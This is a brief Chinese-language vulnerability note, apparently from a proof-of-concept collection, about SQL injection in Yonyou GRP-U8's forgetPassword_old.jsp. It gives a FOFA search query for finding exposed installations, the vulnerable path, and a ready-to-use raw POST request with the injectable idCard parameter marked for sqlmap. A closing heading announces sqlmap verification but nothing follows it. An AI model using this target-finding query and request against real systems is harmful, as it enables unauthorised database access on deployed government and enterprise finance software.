## 用友GRP-U8 forgetPassword\_old.jsp 存在sql注入

1. fofa

app="用友-GRP-U8"



1. 隐患URL

/u8qx/forgetPassword\_old.jsp?action=save



1. 抓取数据包如下

POST /u8qx/forgetPassword\_old.jsp?action=save HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Content-Length: 43

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: application/x-www-form-urlencoded

idCard=1\*&inputDW=1&userName=1

1. sqlmap验证如下

